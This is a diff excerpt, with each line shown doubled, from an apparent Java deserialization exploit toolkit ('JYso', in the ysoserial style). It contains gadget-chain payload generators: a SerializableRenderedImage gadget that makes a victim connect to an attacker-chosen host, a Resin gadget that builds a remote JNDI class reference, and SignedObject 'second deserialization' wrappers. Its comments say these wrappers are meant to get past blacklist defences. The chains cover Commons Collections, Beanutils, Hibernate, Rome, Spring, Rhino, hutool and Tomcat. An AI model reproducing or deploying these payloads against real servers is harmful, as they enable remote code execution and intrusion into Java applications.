result[j] = hexToByte(inHex.substring(i, i + 2)); result[j] = hexToByte(inHex.substring(i, i + 2));
j++; j++;
} }
return result; return result;
} }
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
int sep = command.lastIndexOf(':'); int sep = command.lastIndexOf(':');
if (sep < 0) { if (sep < 0) {
throw new IllegalArgumentException("Command format is: <host>:<port>"); throw new IllegalArgumentException("Command format is: <host>:<port>");
} }
String host = command.substring(0, sep); String host = command.substring(0, sep);
String port = command.substring(sep + 1); String port = command.substring(sep + 1);
String imageHex = "FFD8FFE000104A46494600010100000100010000FFDB0043000503040404030504040405050506070C08070707070F0B0B090C110F1212110F111113161C1713141A1511111821181A1D1D1F1F1F13172224221E241C1E1F1EFFDB0043010505050706070E08080E1E1411141E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1EFFC00011080009000803012200021101031101FFC400160001010100000000000000000000000000000308FFC40021100001030401050000000000000000000003000204010511130712143774B4FFC40014010100000000000000000000000000000001FFC40014110100000000000000000000000000000000FFDA000C03010002110311003F00D0967E448E6E43976297246D894310229231BDD1B6606E18FB8C6BD95675BAA3CE688A772F0E1FD90FD234497FFFD9"; String imageHex = "FFD8FFE000104A46494600010100000100010000FFDB0043000503040404030504040405050506070C08070707070F0B0B090C110F1212110F111113161C1713141A1511111821181A1D1D1F1F1F13172224221E241C1E1F1EFFDB0043010505050706070E08080E1E1411141E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1E1EFFC00011080009000803012200021101031101FFC400160001010100000000000000000000000000000308FFC40021100001030401050000000000000000000003000204010511130712143774B4FFC40014010100000000000000000000000000000001FFC40014110100000000000000000000000000000000FFDA000C03010002110311003F00D0967E448E6E43976297246D894310229231BDD1B6606E18FB8C6BD95675BAA3CE688A772F0E1FD90FD234497FFFD9";
BufferedImage picImage = ImageIO.read(new ByteArrayInputStream(hexToByteArray(imageHex))); BufferedImage picImage = ImageIO.read(new ByteArrayInputStream(hexToByteArray(imageHex)));
SerializableRenderedImage serializableRenderedImage = new SerializableRenderedImage(picImage, true); SerializableRenderedImage serializableRenderedImage = new SerializableRenderedImage(picImage, true);
Reflections.setFieldValue(serializableRenderedImage, "port", Integer.parseInt(port)); Reflections.setFieldValue(serializableRenderedImage, "port", Integer.parseInt(port));
Reflections.setFieldValue(serializableRenderedImage, "host", InetAddress.getByName(host)); Reflections.setFieldValue(serializableRenderedImage, "host", InetAddress.getByName(host));
return serializableRenderedImage; return serializableRenderedImage;
} }
} }
+79 -79
View File
@@ -1,79 +1,79 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.caucho.naming.QName; import com.caucho.naming.QName;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.org.apache.xpath.internal.objects.XString; import com.sun.org.apache.xpath.internal.objects.XString;
import javax.naming.CannotProceedException; import javax.naming.CannotProceedException;
import javax.naming.Reference; import javax.naming.Reference;
import javax.naming.directory.DirContext; import javax.naming.directory.DirContext;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.net.URI; import java.net.URI;
import java.util.Hashtable; import java.util.Hashtable;
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
@SuppressWarnings({"unused"}) @SuppressWarnings({"unused"})
public class Resin implements ObjectPayload<Object> { public class Resin implements ObjectPayload<Object> {
public static Object makeToStringTrigger(Object o) throws Exception { public static Object makeToStringTrigger(Object o) throws Exception {
String unhash = unhash(o.hashCode()); String unhash = unhash(o.hashCode());
XString xString = new XString(unhash); XString xString = new XString(unhash);
return makeMap(o, xString); return makeMap(o, xString);
} }
public static String unhash(int hash) { public static String unhash(int hash) {
int target = hash; int target = hash;
StringBuilder answer = new StringBuilder(); StringBuilder answer = new StringBuilder();
if (target < 0) { if (target < 0) {
// String with hash of Integer.MIN_VALUE, 0x80000000 // String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002"); answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if (target == Integer.MIN_VALUE) if (target == Integer.MIN_VALUE)
return answer.toString(); return answer.toString();
// Find target without sign bit set // Find target without sign bit set
target = target & Integer.MAX_VALUE; target = target & Integer.MAX_VALUE;
} }
unhash0(answer, target); unhash0(answer, target);
return answer.toString(); return answer.toString();
} }
private static void unhash0(StringBuilder partial, int target) { private static void unhash0(StringBuilder partial, int target) {
int div = target / 31; int div = target / 31;
int rem = target % 31; int rem = target % 31;
if (div <= Character.MAX_VALUE) { if (div <= Character.MAX_VALUE) {
if (div != 0) if (div != 0)
partial.append((char) div); partial.append((char) div);
partial.append((char) rem); partial.append((char) rem);
} else { } else {
unhash0(partial, div); unhash0(partial, div);
partial.append((char) rem); partial.append((char) rem);
} }
} }
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
//需要处理command //需要处理command
return makeResinQName(command); return makeResinQName(command);
} }
public Object makeResinQName(String command) throws Exception { public Object makeResinQName(String command) throws Exception {
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$ Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class); Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
ccCons.setAccessible(true); ccCons.setAccessible(true);
CannotProceedException cpe = new CannotProceedException(); CannotProceedException cpe = new CannotProceedException();
Reflections.setFieldValue(cpe, "cause", null); Reflections.setFieldValue(cpe, "cause", null);
Reflections.setFieldValue(cpe, "stackTrace", null); Reflections.setFieldValue(cpe, "stackTrace", null);
//考虑换成其他的 //考虑换成其他的
URI uri = new URI(command); URI uri = new URI(command);
String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; String[] args = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
cpe.setResolvedObj(new Reference("Foo", args[1], args[0])); cpe.setResolvedObj(new Reference("Foo", args[1], args[0]));
Reflections.setFieldValue(cpe, "suppressedExceptions", null); Reflections.setFieldValue(cpe, "suppressedExceptions", null);
DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>()); DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());
QName qName = new QName(ctx, "foo", "bar"); QName qName = new QName(ctx, "foo", "bar");
return makeToStringTrigger(qName); return makeToStringTrigger(qName);
} }
} }
@@ -1,255 +1,255 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import cn.hutool.core.comparator.PropertyComparator; import cn.hutool.core.comparator.PropertyComparator;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SignedObjectUtils; import com.qi4l.JYso.gadgets.utils.SignedObjectUtils;
import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper; import com.qi4l.JYso.gadgets.utils.dirty.DirtyDataWrapper;
import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ObjectBean;
import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap; import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.bag.TreeBag; import org.apache.commons.collections4.bag.TreeBag;
import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.comparators.TransformingComparator;
import org.mozilla.javascript.*; import org.mozilla.javascript.*;
import org.mozilla.javascript.tools.shell.Environment; import org.mozilla.javascript.tools.shell.Environment;
import org.springframework.beans.factory.ObjectFactory; import org.springframework.beans.factory.ObjectFactory;
import java.awt.*; import java.awt.*;
import java.io.ObjectOutputStream; import java.io.ObjectOutputStream;
import java.io.Serializable; import java.io.Serializable;
import java.lang.reflect.*; import java.lang.reflect.*;
import java.math.BigInteger; import java.math.BigInteger;
import java.util.*; import java.util.*;
import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue; import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue;
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue; import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
import static com.qi4l.JYso.gadgets.utils.Serializer.serialize; import static com.qi4l.JYso.gadgets.utils.Serializer.serialize;
import static com.qi4l.JYso.gadgets.utils.Utils.*; import static com.qi4l.JYso.gadgets.utils.Utils.*;
import static java.lang.Class.forName; import static java.lang.Class.forName;
/** /**
* SignedObject 二次反序列化 Gadget,用来进行某些场景的绕过(常见如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等) * SignedObject 二次反序列化 Gadget,用来进行某些场景的绕过(常见如 TemplatesImpl 黑名单,CTF 中常出现的 CC 无数组加黑名单等)
* 利用链需要调用 SignedObject 的 getObject 方法,因此需要可以调用任意方法、或调用指定类 getter 方法的触发点; * 利用链需要调用 SignedObject 的 getObject 方法,因此需要可以调用任意方法、或调用指定类 getter 方法的触发点;
* yso 中大概包含如下几种可用的常见调用链: * yso 中大概包含如下几种可用的常见调用链:
* 1. InvokerTransformer 调用任意方法(依赖 CC) * 1. InvokerTransformer 调用任意方法(依赖 CC)
* 2. BeanComparator 调用 getter 方法(依赖 CB) * 2. BeanComparator 调用 getter 方法(依赖 CB)
* 3. BasicPropertyAccessor$BasicGetter 调用 getter 方法(依赖 Hibernate) * 3. BasicPropertyAccessor$BasicGetter 调用 getter 方法(依赖 Hibernate)
* 4. ToStringBean 调用全部 getter 方法(依赖 Rome) * 4. ToStringBean 调用全部 getter 方法(依赖 Rome)
* 5. MethodInvokeTypeProvider 反射调用任意方法(依赖 spring-core) * 5. MethodInvokeTypeProvider 反射调用任意方法(依赖 spring-core)
* 6. MemberBox 反射调用任意方法(依赖 rhino) * 6. MemberBox 反射调用任意方法(依赖 rhino)
* 7. hutool.MapProxy 二次反序列化 * 7. hutool.MapProxy 二次反序列化
* 8. MapMessage 二次反序列化 * 8. MapMessage 二次反序列化
* <p> * <p>
* 利用方式: * 利用方式:
* SignedObject 'CC:CommonsCollections6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:1:10000' * SignedObject 'CC:CommonsCollections6:b3BlbiAtYSBDYWxjdWxhdG9yLmFwcA==:1:10000'
* 最后2个类型是脏数据类型和长度,为0则不混淆 * 最后2个类型是脏数据类型和长度,为0则不混淆
* @author QI4L * @author QI4L
*/ */
@SuppressWarnings({"rawtypes", "unchecked","unused"}) @SuppressWarnings({"rawtypes", "unchecked","unused"})
public class SignedObject implements ObjectPayload<Object> { public class SignedObject implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
String[] commands = command.split(":"); String[] commands = command.split(":");
if (commands.length < 3) { if (commands.length < 3) {
throw new IllegalArgumentException("Command format is: <Type>:<Original_Type>:<Command_Base64>:<Dirty_Type>:<Dirty_Length>"); throw new IllegalArgumentException("Command format is: <Type>:<Original_Type>:<Command_Base64>:<Dirty_Type>:<Dirty_Length>");
} }
String type1 = commands[0]; String type1 = commands[0];
Object object = getOriginal(Arrays.copyOfRange(commands, 1, commands.length)); Object object = getOriginal(Arrays.copyOfRange(commands, 1, commands.length));
switch (type1.toLowerCase()) { switch (type1.toLowerCase()) {
case "cb": case "cb":
return getSignedObjectWithCB(object); return getSignedObjectWithCB(object);
case "hibernate": case "hibernate":
return getSignedObjectWithHibernate(object); return getSignedObjectWithHibernate(object);
case "rome": case "rome":
return getSignedObjectWithRome(object); return getSignedObjectWithRome(object);
case "rhino": case "rhino":
return getSignedObjectWithRhino(object); return getSignedObjectWithRhino(object);
case "spring": case "spring":
return getSignedObjectWithSpring(object); return getSignedObjectWithSpring(object);
case "cc4": case "cc4":
return getSignedObjectWithCC4(object); return getSignedObjectWithCC4(object);
case "cu": case "cu":
return getHutoolMapProxy(object); return getHutoolMapProxy(object);
case "mm": case "mm":
return getMapMessage(object); return getMapMessage(object);
case "cc": case "cc":
default: default:
return getSignedObjectWithCCNoArray(object); return getSignedObjectWithCCNoArray(object);
} }
} }
public Object getOriginal(String[] args) throws Exception { public Object getOriginal(String[] args) throws Exception {
final String payloadType = args[0]; final String payloadType = args[0];
String command = args[1]; String command = args[1];
// 支持单双引号 // 支持单双引号
if (command.startsWith("'") || command.startsWith("\"")) { if (command.startsWith("'") || command.startsWith("\"")) {
command = command.substring(1, command.length() - 1); command = command.substring(1, command.length() - 1);
} }
String realCmd = com.qi4l.JYso.gadgets.utils.Utils.base64Decode(command); String realCmd = com.qi4l.JYso.gadgets.utils.Utils.base64Decode(command);
final Class<? extends ObjectPayload<?>> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType); final Class<? extends ObjectPayload<?>> payloadClass = ObjectPayload.Utils.getPayloadClass(payloadType);
ObjectPayload<?> payload = payloadClass.newInstance(); ObjectPayload<?> payload = payloadClass.newInstance();
Object object = payload.getObject(realCmd); Object object = payload.getObject(realCmd);
if (args.length >= 3) { if (args.length >= 3) {
final String type = args[2]; final String type = args[2];
final String length = args[3]; final String length = args[3];
object = (new DirtyDataWrapper(object, Integer.parseInt(type), Integer.parseInt(length))).doWrap(); object = (new DirtyDataWrapper(object, Integer.parseInt(type), Integer.parseInt(length))).doWrap();
} }
return object; return object;
} }
// MapMessage二次反序列化 // MapMessage二次反序列化
public Object getMapMessage(Object serObj) throws Exception { public Object getMapMessage(Object serObj) throws Exception {
Object mapMessage = Reflections.createWithoutConstructor("org.apache.catalina.tribes.tipis.AbstractReplicatedMap$MapMessage"); Object mapMessage = Reflections.createWithoutConstructor("org.apache.catalina.tribes.tipis.AbstractReplicatedMap$MapMessage");
Reflections.setFieldValue(mapMessage, "keydata", serialize(serObj)); Reflections.setFieldValue(mapMessage, "keydata", serialize(serObj));
PriorityQueue<Object> queue = new PriorityQueue<>(2); PriorityQueue<Object> queue = new PriorityQueue<>(2);
queue.add(1); queue.add(1);
queue.add(1); queue.add(1);
Object[] objects = (Object[]) getFieldValue(queue, "queue"); Object[] objects = (Object[]) getFieldValue(queue, "queue");
objects[1] = mapMessage; objects[1] = mapMessage;
Comparator<?> comparator = new PropertyComparator<>("getKey"); Comparator<?> comparator = new PropertyComparator<>("getKey");
setFieldValue(queue, "comparator", comparator); setFieldValue(queue, "comparator", comparator);
return queue; return queue;
} }
// hutool.MapProxy 二次反序列化 // hutool.MapProxy 二次反序列化
public Object getHutoolMapProxy(Object serObj) throws Exception { public Object getHutoolMapProxy(Object serObj) throws Exception {
HashMap<String, Object> map = new HashMap<>(); HashMap<String, Object> map = new HashMap<>();
map.put("bounds", serialize(serObj)); map.put("bounds", serialize(serObj));
cn.hutool.core.map.MapProxy mapProxy = cn.hutool.core.map.MapProxy.create(map); cn.hutool.core.map.MapProxy mapProxy = cn.hutool.core.map.MapProxy.create(map);
Shape proxy = (Shape) Proxy.newProxyInstance(Shape.class.getClassLoader(), new Class[]{Shape.class}, mapProxy); Shape proxy = (Shape) Proxy.newProxyInstance(Shape.class.getClassLoader(), new Class[]{Shape.class}, mapProxy);
PriorityQueue<Object> queue = new PriorityQueue<>(2); PriorityQueue<Object> queue = new PriorityQueue<>(2);
queue.add(1); queue.add(1);
queue.add(1); queue.add(1);
Object[] objects = (Object[]) getFieldValue(queue, "queue"); Object[] objects = (Object[]) getFieldValue(queue, "queue");
objects[1] = proxy; objects[1] = proxy;
Comparator<?> comparator = new PropertyComparator<>("bounds"); Comparator<?> comparator = new PropertyComparator<>("bounds");
setFieldValue(queue, "comparator", comparator); setFieldValue(queue, "comparator", comparator);
return queue; return queue;
} }
// CC 无数组二次反序列化 // CC 无数组二次反序列化
public Object getSignedObjectWithCCNoArray(Object serObj) throws Exception { public Object getSignedObjectWithCCNoArray(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
Map<?,?> old = new HashMap<>(); Map<?,?> old = new HashMap<>();
Transformer invoke = new InvokerTransformer("toString", null, null); Transformer invoke = new InvokerTransformer("toString", null, null);
Map<?,?> newMap = LazyMap.decorate(old, invoke); Map<?,?> newMap = LazyMap.decorate(old, invoke);
TiedMapEntry entry = new TiedMapEntry(newMap, obj); TiedMapEntry entry = new TiedMapEntry(newMap, obj);
Map<TiedMapEntry, Object> ht = new HashMap<>(); Map<TiedMapEntry, Object> ht = new HashMap<>();
ht.put(entry, obj); ht.put(entry, obj);
newMap.remove(obj); newMap.remove(obj);
setFieldValue(invoke, "iMethodName", "getObject"); setFieldValue(invoke, "iMethodName", "getObject");
return ht; return ht;
} }
// CC4 无 TiedMapEntry 二次反序列化 // CC4 无 TiedMapEntry 二次反序列化
public Object getSignedObjectWithCC4(Object serObj) throws Exception { public Object getSignedObjectWithCC4(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
org.apache.commons.collections4.functors.InvokerTransformer transformer = new org.apache.commons.collections4.functors.InvokerTransformer<>("toString", new Class[0], new Object[0]); org.apache.commons.collections4.functors.InvokerTransformer transformer = new org.apache.commons.collections4.functors.InvokerTransformer<>("toString", new Class[0], new Object[0]);
TransformingComparator comp = new TransformingComparator<>(transformer); TransformingComparator comp = new TransformingComparator<>(transformer);
TreeBag<Object> tree = new TreeBag<>((Comparator<? super Object>) comp); TreeBag<Object> tree = new TreeBag<>((Comparator<? super Object>) comp);
tree.add(obj); tree.add(obj);
setFieldValue(transformer, "iMethodName", "getObject"); setFieldValue(transformer, "iMethodName", "getObject");
return tree; return tree;
} }
// CB 二次反序列化 // CB 二次反序列化
public Object getSignedObjectWithCB(Object serObj) throws Exception { public Object getSignedObjectWithCB(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
final BeanComparator<?> comparator = new BeanComparator<>("lowestSetBit"); final BeanComparator<?> comparator = new BeanComparator<>("lowestSetBit");
final PriorityQueue<Object> queue = new PriorityQueue<>(2, (Comparator<? super Object>) comparator); final PriorityQueue<Object> queue = new PriorityQueue<>(2, (Comparator<? super Object>) comparator);
queue.add(new BigInteger("1")); queue.add(new BigInteger("1"));
queue.add(new BigInteger("1")); queue.add(new BigInteger("1"));
setFieldValue(comparator, "property", "object"); setFieldValue(comparator, "property", "object");
setFieldValue(queue, "queue", new Object[]{obj, obj}); setFieldValue(queue, "queue", new Object[]{obj, obj});
return queue; return queue;
} }
// Hibernate 二次反序列化 // Hibernate 二次反序列化
public Object getSignedObjectWithHibernate(Object serObj) throws Exception { public Object getSignedObjectWithHibernate(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
Object getters = Hibernate1.makeGetter(obj.getClass(), "getObject"); Object getters = Hibernate1.makeGetter(obj.getClass(), "getObject");
return Hibernate1.makeCaller(obj, getters); return Hibernate1.makeCaller(obj, getters);
} }
// Rome 二次反序列化 // Rome 二次反序列化
public Object getSignedObjectWithRome(Object serObj) throws Exception { public Object getSignedObjectWithRome(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
ObjectBean delegate = new ObjectBean(java.security.SignedObject.class, obj); ObjectBean delegate = new ObjectBean(java.security.SignedObject.class, obj);
ObjectBean root = new ObjectBean(ObjectBean.class, delegate); ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
return makeMap(root, root); return makeMap(root, root);
} }
// Spring-Core 二次反序列化 // Spring-Core 二次反序列化
public Object getSignedObjectWithSpring(Object serObj) throws Exception { public Object getSignedObjectWithSpring(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
ObjectFactory<?> objectFactoryProxy = createMemoitizedProxy(createMap("getObject", obj), ObjectFactory.class); ObjectFactory<?> objectFactoryProxy = createMemoitizedProxy(createMap("getObject", obj), ObjectFactory.class);
Type typeTemplatesProxy = createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy), Type.class, java.security.SignedObject.class); Type typeTemplatesProxy = createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy), Type.class, java.security.SignedObject.class);
Object typeProviderProxy = createMemoitizedProxy(createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider")); Object typeProviderProxy = createMemoitizedProxy(createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
final Constructor<?> mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"); final Constructor<?> mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass"), 0); final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass"), 0);
setFieldValue(mitp, "methodName", "getObject"); setFieldValue(mitp, "methodName", "getObject");
return mitp; return mitp;
} }
// Rhino 二次反序列化 // Rhino 二次反序列化
public Object getSignedObjectWithRhino(Object serObj) throws Exception { public Object getSignedObjectWithRhino(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj); Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
ScriptableObject dummyScope = new Environment(); ScriptableObject dummyScope = new Environment();
Map<Object, Object> associatedValues = new Hashtable<>(); Map<Object, Object> associatedValues = new Hashtable<>();
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class)); associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
setFieldValue(dummyScope, "associatedValues", associatedValues); setFieldValue(dummyScope, "associatedValues", associatedValues);
Object initContextMemberBox = Reflections.createWithConstructor(Class.forName("org.mozilla.javascript.MemberBox"), (Class<Object>) Class.forName("org.mozilla.javascript.MemberBox"), new Class[]{Method.class}, new Object[]{Context.class.getMethod("enter")}); Object initContextMemberBox = Reflections.createWithConstructor(Class.forName("org.mozilla.javascript.MemberBox"), (Class<Object>) Class.forName("org.mozilla.javascript.MemberBox"), new Class[]{Method.class}, new Object[]{Context.class.getMethod("enter")});
ScriptableObject initContextScriptableObject = new Environment(); ScriptableObject initContextScriptableObject = new Environment();
Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class); Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
Reflections.setAccessible(makeSlot); Reflections.setAccessible(makeSlot);
Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4); Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4);
setFieldValue(slot, "getter", initContextMemberBox); setFieldValue(slot, "getter", initContextMemberBox);
NativeJavaObject initContextNativeJavaObject = new NativeJavaObject(); NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
setFieldValue(initContextNativeJavaObject, "parent", dummyScope); setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
setFieldValue(initContextNativeJavaObject, "isAdapter", true); setFieldValue(initContextNativeJavaObject, "isAdapter", true);
setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject", this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject", this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject); setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);
ScriptableObject scriptableObject = new Environment(); ScriptableObject scriptableObject = new Environment();
scriptableObject.setParentScope(initContextNativeJavaObject); scriptableObject.setParentScope(initContextNativeJavaObject);
makeSlot.invoke(scriptableObject, "object", 0, 2); makeSlot.invoke(scriptableObject, "object", 0, 2);
NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class); NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
setFieldValue(nativeJavaArray, "parent", dummyScope); setFieldValue(nativeJavaArray, "parent", dummyScope);
setFieldValue(nativeJavaArray, "javaObject", obj); setFieldValue(nativeJavaArray, "javaObject", obj);
nativeJavaArray.setPrototype(scriptableObject); nativeJavaArray.setPrototype(scriptableObject);
setFieldValue(nativeJavaArray, "prototype", scriptableObject); setFieldValue(nativeJavaArray, "prototype", scriptableObject);
NativeJavaObject nativeJavaObject = new NativeJavaObject(); NativeJavaObject nativeJavaObject = new NativeJavaObject();
setFieldValue(nativeJavaObject, "parent", dummyScope); setFieldValue(nativeJavaObject, "parent", dummyScope);
setFieldValue(nativeJavaObject, "isAdapter", true); setFieldValue(nativeJavaObject, "isAdapter", true);
setFieldValue(nativeJavaObject, "adapter_writeAdapterObject", setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray); setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);
return nativeJavaObject; return nativeJavaObject;
} }
} }

Some files were not shown because too many files have changed in this diff Show More